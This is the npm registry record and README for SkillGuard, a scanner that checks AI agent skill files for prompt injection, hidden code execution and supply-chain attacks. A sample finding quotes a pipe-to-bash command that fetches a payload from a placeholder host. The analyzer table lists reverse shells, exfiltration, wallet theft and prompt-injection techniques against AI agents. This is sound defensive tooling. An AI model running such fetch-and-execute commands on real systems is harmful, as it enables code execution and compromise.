{"_id":"@adriancodes/skillguard","_rev":"2-6a02ffd96d81c3a010002fb82bafa210","name":"@adriancodes/skillguard","dist-tags":{"latest":"1.0.1"},"versions":{"1.0.0":{"name":"@adriancodes/skillguard","version":"1.0.0","keywords":["security","ai-agent","skills","prompt-injection","scanner","claude-code","supply-chain"],"author":{"url":"https://github.com/adriancodes","name":"Adrian Liechti"},"license":"AGPL-3.0-only","_id":"@adriancodes/skillguard@1.0.0","maintainers":[{"name":"adriancodes","email":"hello@adrianmartin.dev"}],"homepage":"https://github.com/adriancodes/skillguard#readme","bugs":{"url":"https://github.com/adriancodes/skillguard/issues"},"bin":{"skillguard":"dist/bin/skillguard.js","skillguard-install-hook":"dist/scripts/install-hook.js"},"dist":{"shasum":"e1552cd5e536d59602da08a6fa105024751a472d","tarball":"https://registry.npmjs.org/@adriancodes/skillguard/-/skillguard-1.0.0.tgz","fileCount":184,"integrity":"sha512-iJbISYYZlrAHCyUaH65M6/JVo+wAWOBEAZ6gLWJxxX694xr/Z2i0VUictAzRf2sHG0Qc7VWgiAsH61LHLhcj+Q==","signatures":[{"sig":"MEYCIQDqJwAp/5G0QJF86YBBRip0qwx2Wrk7a/1LvhfLoT9pKQIhAJ4fdTjWFsYaqmIB3x7ja9imPjO59U85lMyP7cVMil30","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":548786},"main":"./dist/src/index.js","type":"module","types":"./dist/src/index.d.ts","engines":{"node":">=20"},"exports":{".":{"types":"./dist/src/index.d.ts","import":"./dist/src/index.js"}},"gitHead":"4eae6837062ba1dd649921e4a18a5e514eb58581","scripts":{"dev":"tsx bin/skillguard.ts","lint":"tsc --noEmit","test":"vitest run","build":"tsc","prepublishOnly":"npm run build && npm test"},"_npmUser":{"name":"adriancodes","email":"hello@adrianmartin.dev"},"repository":{"url":"git+https://github.com/adriancodes/skillguard.git","type":"git","directory":"apps/scanner"},"_npmVersion":"11.6.0","description":"Security scanner for AI agent skills — detects prompt injection, hidden code execution, and supply chain attacks in SKILL.md files","directories":{},"_nodeVersion":"22.19.0","dependencies":{"picocolors":"^1.1.1"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4","vitest":"^3","typescript":"^5.7","@types/node":"^22"},"_npmOperationalInternal":{"tmp":"tmp/skillguard_1.0.0_1775495795475_0.19661047203250637","host":"s3://npm-registry-packages-npm-production"}},"1.0.1":{"name":"@adriancodes/skillguard","version":"1.0.1","description":"Security scanner for AI agent skills — detects prompt injection, hidden code execution, and supply chain attacks in SKILL.md files","type":"module","bin":{"skillguard":"dist/bin/skillguard.js","skillguard-install-hook":"dist/scripts/install-hook.js"},"main":"./dist/src/index.js","exports":{".":{"import":"./dist/src/index.js","types":"./dist/src/index.d.ts"}},"repository":{"type":"git","url":"git+https://github.com/adriancodes/skillguard.git","directory":"apps/scanner"},"homepage":"https://github.com/adriancodes/skillguard#readme","scripts":{"build":"tsc","prepublishOnly":"npm run build && npm test","test":"vitest run","lint":"tsc --noEmit","dev":"tsx bin/skillguard.ts"},"keywords":["security","ai-agent","skills","prompt-injection","scanner","claude-code","supply-chain"],"author":{"name":"Adrian Liechti","url":"https://github.com/adriancodes"},"license":"AGPL-3.0-only","dependencies":{"picocolors":"^1.1.1"},"devDependencies":{"@types/node":"^22","tsx":"^4","typescript":"^5.7","vitest":"^3"},"engines":{"node":">=20"},"_id":"@adriancodes/skillguard@1.0.1","gitHead":"e9b9ffd341d544e95d35fd31573c774e25cbee71","types":"./dist/src/index.d.ts","bugs":{"url":"https://github.com/adriancodes/skillguard/issues"},"_nodeVersion":"22.19.0","_npmVersion":"11.6.0","dist":{"integrity":"sha512-M77jF7bJZbeLe43EUhy5skGZgKxCSDsXxC+m2yh4o7aXBwP6hcjib/vsSs54lGcrhi/oz3JULI3fNeI2a72INQ==","shasum":"792e3c92d2ad7f0988943be92cc1f42083ed84ad","tarball":"https://registry.npmjs.org/@adriancodes/skillguard/-/skillguard-1.0.1.tgz","fileCount":184,"unpackedSize":550056,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCID9ot9k7CGjJTVDpZn9jbA4w1v51am6PVJGROw9w0hAzAiEApKR4NllKKrHcMspdhh15ElWyrRRiy+LXsGTHxUG72GU="}]},"_npmUser":{"name":"adriancodes","email":"hello@adrianmartin.dev"},"directories":{},"maintainers":[{"name":"adriancodes","email":"hello@adrianmartin.dev"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/skillguard_1.0.1_1775497752646_0.1087143523705334"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-06T17:16:35.308Z","modified":"2026-04-06T17:49:12.935Z","1.0.0":"2026-04-06T17:16:35.624Z","1.0.1":"2026-04-06T17:49:12.819Z"},"bugs":{"url":"https://github.com/adriancodes/skillguard/issues"},"author":{"name":"Adrian Liechti","url":"https://github.com/adriancodes"},"license":"AGPL-3.0-only","homepage":"https://github.com/adriancodes/skillguard#readme","keywords":["security","ai-agent","skills","prompt-injection","scanner","claude-code","supply-chain"],"repository":{"type":"git","url":"git+https://github.com/adriancodes/skillguard.git","directory":"apps/scanner"},"description":"Security scanner for AI agent skills — detects prompt injection, hidden code execution, and supply chain attacks in SKILL.md files","maintainers":[{"name":"adriancodes","email":"hello@adrianmartin.dev"}],"readme":"<p align=\"center\">\n  <img src=\"../../assets/icon.png\" alt=\"SkillGuard\" width=\"200\" />\n</p>\n\n# SkillGuard\n\nSecurity scanner for AI agent skills. Detects prompt injection, hidden code execution, data exfiltration, and supply chain attacks in SKILL.md files and bundled scripts.\n\n## Installation\n\n```bash\n# Run without installing (recommended for one-off scans)\nnpx @adriancodes/skillguard scan ./path/to/skill\n\n# Install globally\nnpm install -g @adriancodes/skillguard\n\n# Add as a dev dependency\nnpm install --save-dev @adriancodes/skillguard\n```\n\n## Quick Start\n\n```bash\n# Scan a single skill\nskillguard scan ./path/to/skill\n\n# Audit all installed skills at once\nskillguard batch .agents/skills/ --summary\n\n# Block CI if a skill scores above 25\nskillguard scan ./path/to/skill --fail-on 25\n```\n\n**Example output — clean skill:**\n\n```\n╔══════════════════════════════════════════════════════╗\n║  SkillGuard Scan Report                                 ║\n╠══════════════════════════════════════════════════════╣\n║  Skill: pdf                                           ║\n║  Path:  .agents/skills/pdf                            ║\n║  Score: 0/100 (Grade A — Clean)                       ║\n╚══════════════════════════════════════════════════════╝\n\n  CRITICAL   0 findings\n  HIGH       0 findings\n  MEDIUM     0 findings\n  LOW        0 findings\n  INFO       0 findings\n\n  Scanned in 11ms | skillguard v1.0.0\n```\n\n**Example output — skill with findings:**\n\n```\n╔══════════════════════════════════════════════════════╗\n║  SkillGuard Scan Report                                 ║\n╠══════════════════════════════════════════════════════╣\n║  Skill: data-processor                                ║\n║  Path:  .agents/skills/data-processor                 ║\n║  Score: 42/100 (Grade C — Moderate risk)              ║\n╚══════════════════════════════════════════════════════╝\n\n  CRITICAL   0 findings\n  HIGH       1 finding\n  MEDIUM     1 finding\n  LOW        0 findings\n  INFO       0 findings\n\n─── HIGH ────────────────────────────────────────────────\n\n  ⚠ SVE-0031 (data-exfiltration)\n    Network exfiltration pattern detected in bundled script\n    File: scripts/setup.sh:14\n    Evidence: curl -s https://example.com/payload | bash\n    → Remove or replace the curl pipe-to-bash pattern\n\n─── MEDIUM ──────────────────────────────────────────────\n\n  ● SVE-0018 (secret-detection)\n    Hardcoded credential detected\n    File: scripts/config.py:3\n    Evidence: API_KEY = \"sk-proj-...\"\n    → Use environment variables for credentials instead\n\n  Scanned in 18ms | skillguard v1.0.0\n```\n\n## Grading System\n\n| Grade | Score | Meaning |\n|-------|-------|---------|\n| **A** | 0–10  | Clean — no significant issues |\n| **B** | 11–25 | Minor concerns — review recommended |\n| **C** | 26–50 | Moderate risk — careful review needed |\n| **D** | 51–75 | High risk — do not install without thorough review |\n| **F** | 76–100 | Malicious indicators — do not install |\n\n<details>\n<summary>Scoring formula</summary>\n\nEach finding contributes to the raw score based on severity:\n\n| Severity | Weight |\n|----------|--------|\n| CRITICAL | 25 |\n| HIGH     | 15 |\n| MEDIUM   | 8  |\n| LOW      | 3  |\n| INFO     | 0  |\n\nWhen a skill triggers multiple distinct HIGH+ categories (e.g., both data exfiltration and privilege escalation), a combo multiplier of `1.0 + (0.15 × distinct_high_categories)` is applied. The final score is capped at 100.\n\n</details>\n\n## CLI Reference\n\n### `scan <path>`\n\nScan a single skill directory or SKILL.md file.\n\n```bash\nskillguard scan ./my-skill\nskillguard scan ./my-skill/SKILL.md\nskillguard scan .agents/skills/pdf\n```\n\n| Option | Description |\n|--------|-------------|\n| `-s, --severity <level>` | Minimum severity to show: `critical`, `high`, `medium`, `low`, `info` |\n| `--fail-on <score>` | Exit code 1 if the risk score exceeds this threshold (0–100). Use in CI. |\n| `--analyzers <list>` | Comma-separated list of analyzers to run (default: all 26) |\n| `--exclude <list>` | Comma-separated list of analyzers to skip |\n| `--publish` | Publish results to the SkillGuard web dashboard |\n\n### `batch <dir>`\n\nScan every skill found in a directory.\n\n```bash\nskillguard batch .agents/skills/\nskillguard batch .claude/skills/ --summary\nskillguard batch .agents/skills/ --sort score\n```\n\n| Option | Description |\n|--------|-------------|\n| `--summary` | Show only per-skill grade table, skip individual finding details |\n| `--sort <field>` | Sort results by `score` (default), `name`, or `severity` |\n| `--fail-on <score>` | Exit code 1 if any skill exceeds this threshold |\n\n**Example — `--summary` output:**\n\n```\nSkillGuard Batch Scan\n─────────────────────────────────────────────────────\n  Skills scanned: 4\n  Total findings: 3\n  Highest score:  42/100\n  Scan time:      29ms\n\n  Skill                          Grade   Score    Findings\n  ────────────────────────────── ─────── ──────── ────────\n  data-processor                 C       42       2\n  file-reader                    B       18       1\n  pdf                            A       0        0\n  hello-world                    A       0        0\n```\n\n### `check <repo@skill>`\n\nLook up a skill in the SkillGuard public registry by GitHub repo and skill name.\n\n```bash\n# Short form: owner/repo@skill-name\nskillguard check acme/agent-skills@pdf\n\n# With full GitHub URL\nskillguard check https://github.com/acme/agent-skills\n\n# JSON output\nskillguard check acme/agent-skills@pdf -f json\n```\n\nReturns the last known grade, score, and a link to the full dashboard report. If the skill hasn't been published yet, run `skillguard scan <path> --publish` to add it.\n\n### `info <path>`\n\nShow parsed skill metadata without running any security analyzers. Useful for inspecting frontmatter.\n\n```bash\nskillguard info .agents/skills/pdf\n```\n\n### `list-analyzers`\n\nList all 26 registered analyzers with their descriptions.\n\n```bash\nskillguard list-analyzers\nskillguard list-analyzers -f json\n```\n\n### Global options\n\nThese options work with every command:\n\n| Option | Description |\n|--------|-------------|\n| `-f, --format <fmt>` | Output format: `terminal` (default) or `json` |\n| `-q, --quiet` | Only output the score and grade |\n| `--verbose` | Show all severity levels including INFO |\n| `--no-color` | Disable colored output |\n| `-v, --version` | Show version |\n| `-h, --help` | Show help |\n\n## CI/CD Integration\n\nUse `--fail-on` to block merges when a skill's risk score exceeds a threshold.\n\n**GitHub Actions example:**\n\n```yaml\n- name: Scan skills\n  run: npx @adriancodes/skillguard batch .agents/skills/ --fail-on 25 -f json\n```\n\nA complete publish-on-merge workflow:\n\n```yaml\nname: Skill Security Scan\n\non: [push, pull_request]\n\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Scan all skills\n        run: npx @adriancodes/skillguard batch .agents/skills/ --fail-on 50\n\n      - name: Publish results to dashboard\n        if: github.ref == 'refs/heads/main'\n        run: npx @adriancodes/skillguard batch .agents/skills/ --publish\n        env:\n          SKILLGUARD_PUBLISH_TOKEN: ${{ secrets.SKILLGUARD_PUBLISH_TOKEN }}\n```\n\nExit codes: `0` = passed, `1` = score exceeded `--fail-on` threshold or scan error.\n\n## Programmatic API\n\n```typescript\nimport { scanSkill, scanBatch, getAllAnalyzers } from '@adriancodes/skillguard';\n\n// Scan a single skill\nconst result = scanSkill('./path/to/skill');\nconsole.log(result.riskScore.grade);   // 'A' | 'B' | 'C' | 'D' | 'F'\nconsole.log(result.riskScore.score);   // 0–100\nconsole.log(result.findings);          // Finding[]\n\n// Batch scan a directory of skills\nconst results = scanBatch('.agents/skills/');\nfor (const r of results) {\n  console.log(`${r.skill.name}: Grade ${r.riskScore.grade} (${r.riskScore.score}/100)`);\n}\n\n// Run only specific analyzers\nconst targeted = scanSkill('./my-skill', {\n  analyzers: ['data-exfiltration', 'privilege-escalation'],\n});\n\n// List all registered analyzers\nconst analyzers = getAllAnalyzers();\nconsole.log(`${analyzers.length} analyzers loaded`); // 26\n```\n\n## Claude Code Hook\n\nSkillGuard includes a PostToolUse hook that automatically scans new skills immediately after `npx skills add`. Install it into your project:\n\n```bash\nnpx @adriancodes/skillguard-install-hook\n```\n\nThis copies the hook script to `.claude/hooks/` and registers it in `.claude/settings.json`. Any skill added via the `skills` command will be scanned before it can be used.\n\n## Publishing to the Dashboard\n\nScan results can be published to the [SkillGuard web dashboard](https://skillguard.dev) for team-wide tracking and historical reporting:\n\n```bash\n# Publish a single scan\nskillguard scan ./path/to/skill --publish\n\n# Publish all scans in batch\nskillguard batch .agents/skills/ --publish\n```\n\nEnvironment variables:\n\n| Variable | Description |\n|----------|-------------|\n| `SKILLGUARD_DASHBOARD_URL` | Dashboard URL (defaults to `https://skillguard.dev`) |\n| `SKILLGUARD_PUBLISH_TOKEN` | Bearer token for authenticated dashboards (optional in dev) |\n\n## Security Analyzers\n\nSkillGuard runs 26 analyzers organized into four pipeline stages.\n\n### Metadata analyzers\n\n| Analyzer | What it detects |\n|----------|----------------|\n| `frontmatter-manipulation` | Dangerous YAML settings: unrestricted tools, hidden skills, hooks |\n| `description-injection` | Prompt injection embedded in the skill description field |\n\n### Content analyzers (SKILL.md body)\n\n| Analyzer | What it detects |\n|----------|----------------|\n| `html-comment` | Hidden instructions inside HTML comments |\n| `reference-link` | Hidden instructions in Markdown reference-style links |\n| `authority-impersonation` | Fake system/admin messages and jailbreak attempts |\n| `unicode-smuggling` | Invisible Unicode characters: tag chars, zero-width, bidirectional |\n| `css-html-hiding` | Visually hidden content via CSS/HTML |\n| `dynamic-execution` | Dangerous `!command` preprocessing directives |\n| `argument-injection` | Unsanitized `$ARGUMENTS` in shell, eval, and URL contexts |\n| `encoding-obfuscation` | Base64/hex/octal encoded payloads and eval string construction |\n| `image-exfiltration` | Data exfiltration via markdown image URLs |\n| `install-escalation` | Skills that install additional software or execute remote scripts |\n\n### External file analyzers (bundled scripts)\n\n| Analyzer | What it detects |\n|----------|----------------|\n| `data-exfiltration` | Network exfiltration: curl, webhooks, reverse shells |\n| `script-analysis` | Malicious code in Python, Bash, JS, TS, Ruby, and Perl scripts |\n| `privilege-escalation` | Sudo usage, Docker escapes, system file writes, crontab injection |\n| `dependency-confusion` | npm postinstall attacks, non-standard registries, supply chain confusion |\n| `suspicious-download` | Download-and-execute chains, trojanized archives, binary downloads |\n| `persistence-poisoning` | Writes to agent memory files, config directories, and shell profiles |\n| `secret-detection` | Hardcoded API keys, tokens, passwords, and high-entropy strings |\n| `remote-content-fetch` | Fetch-and-execute chains, dynamic imports, runtime config from URLs |\n| `financial-wallet-access` | Cryptocurrency wallet access, seed phrase extraction, payment API abuse |\n\n### Composite analyzer\n\n| Analyzer | What it detects |\n|----------|----------------|\n| `reference-poisoning` | Prompt injection and hidden content in reference documentation files |\n\nRun `skillguard list-analyzers` for the full list with descriptions, or use `--analyzers`/`--exclude` to target specific checks.\n\n## License\n\nAGPL-3.0 — see [LICENSE](LICENSE) for details.\n","readmeFilename":"README.md"}